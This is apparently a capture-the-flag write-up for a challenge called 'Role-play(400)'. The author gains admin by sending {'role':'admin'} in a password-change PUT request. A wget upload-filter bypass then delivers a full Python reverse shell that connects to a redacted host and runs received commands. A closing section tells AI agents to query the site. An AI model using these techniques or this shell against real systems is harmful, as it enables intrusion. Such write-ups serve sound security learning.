> For the complete documentation index, see [llms.txt](https://mistx0.gitbook.io/mistx0/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://mistx0.gitbook.io/mistx0/write-ups/onsite/ieee-ctf-aau/role-play-400.md).

# Role-play(400)

<figure><img src="/files/tG6PETcBWj8cAKOjhaY7" alt=""><figcaption></figcaption></figure>

At first glance, the website appeared to be a normal page with login, register, and, interestingly, an upload page. This upload page accepted `.gif` or `.png` files and saved them to the `/uploads` directory. I kept this in mind.

When I tried to access the upload endpoint directly, I received a 404 (Page Not Found) error. This was strange, but it suggested that admin privileges might be required. My next objective was clear: get admin.

Next objective getting admin:

<figure><img src="/files/DKBalUqWP3vpkd5nlwpz" alt=""><figcaption></figcaption></figure>

After registering a new account, I was taken to my profile page. I immediately noticed it made an API request to fetch my data:

```
GET http://84.247.129.120:45001/api/profile/mist
```

My first thought was to test for an IDOR (Insecure Direct Object Reference). I tried replacing my username "mist" with "admin" in the URL, but I received an error:

```json
error:	"Missing or invalid Bearer token"
```

This indicated that a Bearer token was required for authorization, so I located it. It was a JWT:

```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MTMsInVzZXJuYW1lIjoibWlzdCIsImlhdCI6MTc2MjU4NTc0NywiZXhwIjoxNzYyNjI4OTQ3fQ.9gc-tXF59lHvnOF3qoLhp5F_cp8bETjI9Fe_tplIgDc
```

Upon decoding it, I found this payload:

```json
{
  "id": 13,
  "username": "mist",
  "iat": 1762585747,
  "exp": 1762628947
}
```

There was no `role` field in the token itself. I wondered if an "admin" user already existed, which I tested by attempting to register a new account with the username "admin." The registration went through with, which confirmed that the admin account didn't exist. This meant the JWT wasn't the path to privilege escalation.

<figure><img src="/files/ZGlCEmsGRHghB08kYOo2" alt=""><figcaption></figcaption></figure>

However, I noticed that the JSON response from the original API call (for my *own* profile) *did* include the role:

```json
{"user":{"bio":"","email":"mist@mist.com","full_name":"","id":13,"role":"user","username":"mist"}}
```

The question was how to change this. I navigated to the "change password" field, updated my password, and intercepted the request.

<figure><img src="/files/u86BXD9EA8hyzF69IDHm" alt=""><figcaption></figcaption></figure>

I saw it was a `PUT` request, a REST API method used to update data. This gave me an idea. What if I modified the body of this `PUT` request to change my role instead of my password?

I sent the following JSON payload:

```json
{"role":"admin"}
```

<figure><img src="/files/gxmLNyMICWVtLdbKO0Jt" alt=""><figcaption></figcaption></figure>

It worked! I was now an admin. With my new privileges, I could finally explore the admin upload endpoint.

<figure><img src="/files/8brCj1M1mgmbeFZfelCS" alt=""><figcaption></figcaption></figure>

Now that I had access, I could use the upload function. I tried several attack techniques, like CSRF and attempting to upload a file with a double extension (e.g., `exploit.png.php`), but nothing bypassed the filter. It seemed impossible.

<figure><img src="/files/LsPzcmZgXilVyLRHHOCg" alt=""><figcaption></figcaption></figure>

However, upon checking the page's source code, I found an unusual HTML comment that specified the backend used `wget` to fetch the files from a URL.

My first thought was command injection. I tried several payloads, but the server strictly enforced that the URL *must* end in `.gif` or `.png`. In desperation, I turned to Google and found a GitHub repository that described a method to bypass this exact filter.

<figure><img src="/files/YTkZWyKXoFHATtlSTF1z" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/ItsFadinG/wget-File-Upload-Exploit>" %}

Now, it was time to exploit it. I used the following Python reverse shell script:

```python
import os
import socket
import subprocess


if os.cpu_count() <= 2:
    quit()

HOST = 'REDACTED'
PORT = 1111

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(str.encode("[*] Connection Established!"))

while 1:
    try:
        s.send(str.encode(os.getcwd() + "> "))
        data = s.recv(1024).decode("UTF-8")
        data = data.strip('\n')
        if data == "quit": 
            break
        if data[:2] == "cd":
            os.chdir(data[3:])
        if len(data) > 0:
            proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) 
            stdout_value = proc.stdout.read() + proc.stderr.read()
            output_str = str(stdout_value, "UTF-8")
            s.send(str.encode("\n" + output_str))
    except Exception as e:
        continue
    
s.close()
```

I published this script on GitHub and submitted the raw file URL ***\*\*i made a silly mistake by not giving it the raw file url that costed me the first blood*** :cry: ***but i learned from my mistake\*\**** to the upload function.

<figure><img src="/files/Ghrdwr7Co3TvsXwFFKgk" alt=""><figcaption></figcaption></figure>

The server successfully downloaded the file, and the exploit worked. I received a reverse shell on my listener and successfully captured the flag.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://mistx0.gitbook.io/mistx0/write-ups/onsite/ieee-ctf-aau/role-play-400.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
